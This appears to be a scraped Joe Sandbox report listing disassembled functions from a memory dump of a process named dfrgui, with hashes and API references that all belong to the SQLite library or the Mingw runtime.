Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_mutex_enter$sqlite3_free$sqlite3_mutex_allocsqlite3_mutex_leavesqlite3_snprintfsqlite3_uri_boolean
String ID: winOpenShm$winShmMap1$winShmMap2$winShmMap3
API String ID: 1420044521-1629717226
Opcode ID: aa678a3cd3b48fdd14c26ddc3a87e1c1cd3ffcb0d88e243161efec145edf26be
Instruction ID: 8f8e1c464887fa363333707d60a8f0bbe9561a2f98a5296fd5d00449813b2ec4
Opcode Fuzzy Hash: aa678a3cd3b48fdd14c26ddc3a87e1c1cd3ffcb0d88e243161efec145edf26be
Instruction Fuzzy Hash: A4E113B4A04B559FDB04DF6AC484A5ABBF1BF89308F25C86EE8488B355D734DC41CB91

Uniqueness

Uniqueness Score: -1.00%

Function 61E31FF0 Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 219COMMON

Download Yara Rule

APIs

sqlite3_str_append.SQLITE3 ref: 61E3208E
sqlite3_str_append.SQLITE3 ref: 61E320A4
sqlite3_str_append.SQLITE3 ref: 61E320E9
sqlite3_str_appendf.SQLITE3 ref: 61E32113

Part of subcall function 61E25B49: sqlite3_str_vappendf.SQLITE3 ref: 61E25B63

sqlite3_str_append.SQLITE3 ref: 61E32176
sqlite3_str_appendf.SQLITE3 ref: 61E3221C
sqlite3_str_appendf.SQLITE3 ref: 61E322C4
sqlite3_str_appendf.SQLITE3 ref: 61E322FC
sqlite3_str_append.SQLITE3 ref: 61E32321
sqlite3_str_appendf.SQLITE3 ref: 61E3235A
sqlite3_str_append.SQLITE3 ref: 61E3237A
sqlite3_str_reset.SQLITE3 ref: 61E32396

Strings

d, xrefs: 61E32029

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_str_append$sqlite3_str_appendf$sqlite3_str_resetsqlite3_str_vappendf
String ID: d
API String ID: 4035452181-2564639436
Opcode ID: 14b78a4c3c8340798257a3ff360959bee1709db71d2de19b0e2a7d32455eda3a
Instruction ID: e70a6df271e69081c24506ddf681fdcd2edda6736b255e2e7bc53f2d41ec434e
Opcode Fuzzy Hash: 14b78a4c3c8340798257a3ff360959bee1709db71d2de19b0e2a7d32455eda3a
Instruction Fuzzy Hash: BEA118709093668BEB208F64C980799FBF1BF99304F24C99ED588AB241C775D985CF92

Uniqueness

Uniqueness Score: -1.00%

Function 61E3D34F Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 114COMMON

Download Yara Rule

APIs

sqlite3_value_text.SQLITE3 ref: 61E3D373
sqlite3_value_bytes.SQLITE3 ref: 61E3D37F
sqlite3_db_config.SQLITE3 ref: 61E3D3B8
sqlite3_value_bytes.SQLITE3 ref: 61E3D3CF
sqlite3_value_blob.SQLITE3 ref: 61E3D3F5

Part of subcall function 61E1BAAD: sqlite3_free.SQLITE3 ref: 61E1BB4E
Part of subcall function 61E1BAAD: sqlite3_free.SQLITE3 ref: 61E1BB5B

sqlite3_result_error.SQLITE3 ref: 61E3D42B
sqlite3_result_error.SQLITE3 ref: 61E3D445
sqlite3_mprintf.SQLITE3 ref: 61E3D474
sqlite3_result_error.SQLITE3 ref: 61E3D48A
sqlite3_free.SQLITE3 ref: 61E3D492
sqlite3_db_config.SQLITE3 ref: 61E3D4BF
sqlite3_result_blob.SQLITE3 ref: 61E3D4EC

Strings

out of memory, xrefs: 61E3D420

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_freesqlite3_result_error$sqlite3_db_configsqlite3_value_bytes$sqlite3_mprintfsqlite3_result_blobsqlite3_value_blobsqlite3_value_text
String ID: out of memory
API String ID: 483519893-2599737071
Opcode ID: 81e5bd5b382bcbed8d9db15a6d9fe3f1210165fe8e1c952d57f3c2c08254f641
Instruction ID: de4bda10a9b9cb4a08021e80a6f4da87d5f0a0c722308755ae6057c49d8a5f80
Opcode Fuzzy Hash: 81e5bd5b382bcbed8d9db15a6d9fe3f1210165fe8e1c952d57f3c2c08254f641
Instruction Fuzzy Hash: 0251A3B49087559BCB10EF69C48469EBBF1BF88328F61CA1DE4A89B394D738D441CF52

Uniqueness

Uniqueness Score: -1.00%

Function 61E21437 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 106COMMON

Download Yara Rule

APIs

sqlite3_str_append.SQLITE3 ref: 61E2146B
sqlite3_str_append.SQLITE3 ref: 61E21488
sqlite3_str_append.SQLITE3 ref: 61E214AD
sqlite3_str_appendall.SQLITE3 ref: 61E214EB
sqlite3_str_append.SQLITE3 ref: 61E2150E
sqlite3_str_append.SQLITE3 ref: 61E21525
sqlite3_str_append.SQLITE3 ref: 61E21542
sqlite3_str_append.SQLITE3 ref: 61E21564
sqlite3_str_append.SQLITE3 ref: 61E2157D

Strings

(,)?, xrefs: 61E2147D, 61E21537
<expr>, xrefs: 61E214C2
rowid, xrefs: 61E214CF

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_str_append$sqlite3_str_appendall
String ID: (,)?$<expr>$rowid
API String ID: 851024535-569625528
Opcode ID: 43f41704c9cc32562f63c9c4f58412ff88c191ec67dc05be44d08dd92cc9e2f0
Instruction ID: 3c16f107c21071c597ebe3d2fa5bb7d531971245fbde1235f1980425fa00eb65
Opcode Fuzzy Hash: 43f41704c9cc32562f63c9c4f58412ff88c191ec67dc05be44d08dd92cc9e2f0
Instruction Fuzzy Hash: 44413CB09047459BD7009F9AC9D169EBBF1BB85318F21C92DE4994B380C7B7DA81CB41

Uniqueness

Uniqueness Score: -1.00%

Function 61E3CA14 Relevance: 18.4, APIs: 12, Instructions: 379COMMON

Download Yara Rule

APIs

sqlite3_result_error.SQLITE3 ref: 61E3CA60
sqlite3_value_int.SQLITE3 ref: 61E3CA91
sqlite3_value_text.SQLITE3 ref: 61E3CAA2
sqlite3_value_text.SQLITE3 ref: 61E3CAB5
sqlite3_value_text.SQLITE3 ref: 61E3CAC8
sqlite3_value_int.SQLITE3 ref: 61E3CADE
sqlite3_malloc.SQLITE3 ref: 61E3CB14

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_int$sqlite3_mallocsqlite3_result_error
String ID:
API String ID: 3802728871-0
Opcode ID: 8308cf12dab309fa4928f7362e212e67aece02d64ef639b13ad07984a3c90b31
Instruction ID: 0a8897d25ca39b30f5eab6b8760c588658bb3042ae8efb2c09a1f1b1b6dc5f2b
Opcode Fuzzy Hash: 8308cf12dab309fa4928f7362e212e67aece02d64ef639b13ad07984a3c90b31
Instruction Fuzzy Hash: B7127274A04729CFDB60DF69C984B8DBBF1BF88314F5085AAE859A7240E734DA85CF11

Uniqueness

Uniqueness Score: -1.00%

Function 61E63F0E Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 212COMMON

Download Yara Rule

APIs

Part of subcall function 61E25429: sqlite3_log.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 61E2546D

sqlite3_mutex_enter.SQLITE3 ref: 61E63F4E
sqlite3_prepare_v2.SQLITE3 ref: 61E63F89
sqlite3_step.SQLITE3 ref: 61E63FC0
sqlite3_errmsg.SQLITE3 ref: 61E64189
sqlite3_mutex_leave.SQLITE3 ref: 61E641C8

Part of subcall function 61E22C1A: sqlite3_log.SQLITE3 ref: 61E22C43

Strings

d, xrefs: 61E64109
d, xrefs: 61E6404B

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_log$sqlite3_errmsgsqlite3_mutex_entersqlite3_mutex_leavesqlite3_prepare_v2sqlite3_step
String ID: d$d
API String ID: 2909166478-195624457
Opcode ID: cc17d2924f1e441dc9d3603c8f71d740d306c38df475a4cee131425d329f77f6
Instruction ID: c0f6dcb61892d96698d341ae6f3e7ed5e30a82f2dc40e63fcd0f797b84f716a4
Opcode Fuzzy Hash: cc17d2924f1e441dc9d3603c8f71d740d306c38df475a4cee131425d329f77f6
Instruction Fuzzy Hash: B4812C70E4425ACBDB01DFA9C59079EBBF5AF99308F60C42AE864E7340D778D841CB91

Uniqueness

Uniqueness Score: -1.00%

Function 61E3694D Relevance: 16.9, APIs: 3, Strings: 8, Instructions: 358stringCOMMON

Download Yara Rule

APIs

strncmp.MSVCRT ref: 61E36BFE
strncmp.MSVCRT ref: 61E36C53
strncmp.MSVCRT ref: 61E36CA4

Strings

-, xrefs: 61E36CFB
0, xrefs: 61E36CF4
true, xrefs: 61E36C48
null, xrefs: 61E36BF3
-, xrefs: 61E36CEB
}, xrefs: 61E36DB6
], xrefs: 61E36DC0
false, xrefs: 61E36C99

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: strncmp
String ID: -$-$0$]$false$null$true$}
API String ID: 1114863663-1443276563
Opcode ID: cb518f88aff71661cb3374f2070d3ea01359b4f49c6546bf0cf142a1a5f487fe
Instruction ID: 5ef84c330546f7dc50ad4400d779232d3ba82f1c422dff875aa92fb692e477b0
Opcode Fuzzy Hash: cb518f88aff71661cb3374f2070d3ea01359b4f49c6546bf0cf142a1a5f487fe
Instruction Fuzzy Hash: C0D1B270A082E64EDB16DFB8C4447E9BBF1AF8E318F68C55AC09187295D339D686CB11

Uniqueness

Uniqueness Score: -1.00%

Function 61E3442D Relevance: 16.7, APIs: 11, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_value_text.SQLITE3 ref: 61E3444C
sqlite3_value_bytes.SQLITE3 ref: 61E34461
sqlite3_value_text.SQLITE3 ref: 61E3446F
sqlite3_value_bytes.SQLITE3 ref: 61E344A1
sqlite3_value_text.SQLITE3 ref: 61E344AF
sqlite3_value_bytes.SQLITE3 ref: 61E344C5
memcmp.MSVCRT ref: 61E3454C
sqlite3_result_error_toobig.SQLITE3 ref: 61E345AD

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_value_bytessqlite3_value_text$memcmpsqlite3_result_error_toobig
String ID:
API String ID: 3428878466-0
Opcode ID: e8de7d89814dd69f653980643e134f9245317c8499bd3f162f4efebaf6688bdc
Instruction ID: cc9cca9db0b93761c8f0f6c5264aab5c6b907c5c4ffce3031783b93ee4c9e31d
Opcode Fuzzy Hash: e8de7d89814dd69f653980643e134f9245317c8499bd3f162f4efebaf6688bdc
Instruction Fuzzy Hash: FF81CF75E04259DFCB00DFA9C980A9DBBF1BF89224F25816AE854AB354E735E842CF50

Uniqueness

Uniqueness Score: -1.00%

Function 61E3D78E Relevance: 16.7, APIs: 11, Instructions: 193COMMON

Download Yara Rule

APIs

Part of subcall function 61E0A6F0: sqlite3_free.SQLITE3 ref: 61E0A6FF
Part of subcall function 61E0A6F0: sqlite3_free.SQLITE3 ref: 61E0A70A

sqlite3_value_text.SQLITE3 ref: 61E3D7BB
sqlite3_value_bytes.SQLITE3 ref: 61E3D7CE
sqlite3_malloc64.SQLITE3 ref: 61E3D7E3

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_free$sqlite3_malloc64sqlite3_value_bytessqlite3_value_text
String ID:
API String ID: 3723316075-0
Opcode ID: 643ac7df040c7117495d5938248d33ffdf5558ffb2c3c843cd0b5d361d86509f
Instruction ID: cb07743064d60eae1468653b6cabbce3e4b221cd2c3a77bf51d8b7b272f23744
Opcode Fuzzy Hash: 643ac7df040c7117495d5938248d33ffdf5558ffb2c3c843cd0b5d361d86509f
Instruction Fuzzy Hash: C8816AB89042558FDB00DF69C48479ABBF1BFC8318F69C4A9D8889B356E774D881CF51

Uniqueness

Uniqueness Score: -1.00%

Function 61E0C8F7 Relevance: 16.6, APIs: 11, Instructions: 54COMMON

Download Yara Rule

APIs

sqlite3_free.SQLITE3 ref: 61E0C919
sqlite3_free.SQLITE3 ref: 61E0C924
sqlite3_free.SQLITE3 ref: 61E0C938
sqlite3_free.SQLITE3 ref: 61E0C942
sqlite3_free.SQLITE3 ref: 61E0C94D
sqlite3_free.SQLITE3 ref: 61E0C958
sqlite3_free.SQLITE3 ref: 61E0C963
sqlite3_free.SQLITE3 ref: 61E0C96E
sqlite3_free.SQLITE3 ref: 61E0C979
sqlite3_free.SQLITE3 ref: 61E0C984
sqlite3_free.SQLITE3 ref: 61E0C98C

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_free
String ID:
API String ID: 2313487548-0
Opcode ID: f0b11a29783efd7e7c8c14ce528e1fd951f247dcb29d9c1997e282895af9f18b
Instruction ID: c9ecf57121f205e21a64120e8e7d9f7e16678beb486510b2cd97e0988e13cc88
Opcode Fuzzy Hash: f0b11a29783efd7e7c8c14ce528e1fd951f247dcb29d9c1997e282895af9f18b
Instruction Fuzzy Hash: 3E110AB4644749CBCB00BFB9D4D5418BBE4EF88249B56889EDCD48B316D734DCA0CB51

Uniqueness

Uniqueness Score: -1.00%

Function 61E37B16 Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 341COMMON

Download Yara Rule

Strings

true, xrefs: 61E37B6A
null, xrefs: 61E37B5E
false, xrefs: 61E37B82

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID:
String ID: false$null$true
API String ID: 0-2913297407
Opcode ID: 1b7217d25a7ccf5db1b935dde52d08845e5cac3b756602c3385ce55b2d5ba532
Instruction ID: b515f5fb262dc7e69db8de8e4b8dd747f6da3dfa92c6f7e45f079b22d579be8f
Opcode Fuzzy Hash: 1b7217d25a7ccf5db1b935dde52d08845e5cac3b756602c3385ce55b2d5ba532
Instruction Fuzzy Hash: C3C1BD71E09265CBDB048FA8C4C079DBBB2ABCA318F29C16ED9449B346C735D846CB61

Uniqueness

Uniqueness Score: -1.00%

Function 61E3C437 Relevance: 16.0, APIs: 4, Strings: 5, Instructions: 220COMMON

Download Yara Rule

APIs

sqlite3_mprintf.SQLITE3 ref: 61E3C450

Part of subcall function 61E395AF: sqlite3_initialize.SQLITE3 ref: 61E395B5
Part of subcall function 61E395AF: sqlite3_vmprintf.SQLITE3 ref: 61E395CF

Strings

OR , xrefs: 61E3C66C
(,)?, xrefs: 61E3C6B8
+ , xrefs: 61E3C5A2
NOT , xrefs: 61E3C667
", xrefs: 61E3C60A

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_initializesqlite3_mprintfsqlite3_vmprintf
String ID: + $ NOT $ OR $"$(,)?
API String ID: 2841607023-154350868
Opcode ID: 27e9f43b54149d7c394525757cfdc6c9a5f9a57b38e4620f51e1f8706cbe1aae
Instruction ID: c8fccd9bd3694b095a3720a09c7d51eb80419f676326d0fe8e24e2f2d46415ae
Opcode Fuzzy Hash: 27e9f43b54149d7c394525757cfdc6c9a5f9a57b38e4620f51e1f8706cbe1aae
Instruction Fuzzy Hash: 4C917B75A082759FDB01CFA8C48069DBBF0BF89704F25C96ED858AB341D374E841CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 61E01040 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 132sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(?,?,?,61E012DC), ref: 61E01077
_amsg_exit.MSVCRT ref: 61E010A4

Strings

08aMingw-w64 runtime failure:, xrefs: 61E01135
ti, xrefs: 61E01180, 61E011CA

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: Sleep_amsg_exit
String ID: 08aMingw-w64 runtime failure:$ti
API String ID: 1015461914-2860349212
Opcode ID: 52eab1edccf3adb4b628cb2c6d7ef23c0ba83e74d032204e76fbfc2283c5ace6
Instruction ID: 5673fdc63cd166ac4d0bd20e0611f73cafa879edd8eeb223e9da6bff0d02e2ac
Opcode Fuzzy Hash: 52eab1edccf3adb4b628cb2c6d7ef23c0ba83e74d032204e76fbfc2283c5ace6
Instruction Fuzzy Hash: 1F418FB1614A818BEB00EFE9C58431ABBF1EB8674DF25C93DD4948F344E775D8908B82

Uniqueness

Uniqueness Score: -1.00%

Function 61E77B67 Relevance: 15.1, APIs: 10, Instructions: 121COMMON

Download Yara Rule

APIs

sqlite3_malloc64.SQLITE3 ref: 61E77BDE
sqlite3_exec.SQLITE3 ref: 61E77C11
sqlite3_free_table.SQLITE3 ref: 61E77C2B
sqlite3_free.SQLITE3 ref: 61E77C3F
sqlite3_mprintf.SQLITE3 ref: 61E77C52
sqlite3_free.SQLITE3 ref: 61E77C5F
sqlite3_free.SQLITE3 ref: 61E77C78

Part of subcall function 61E0A119: sqlite3_mutex_enter.SQLITE3 ref: 61E0A138

sqlite3_free_table.SQLITE3 ref: 61E77C8D

Part of subcall function 61E0A2DD: sqlite3_free.SQLITE3 ref: 61E0A30B

sqlite3_realloc64.SQLITE3 ref: 61E77CB1
sqlite3_free_table.SQLITE3 ref: 61E77CC3

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
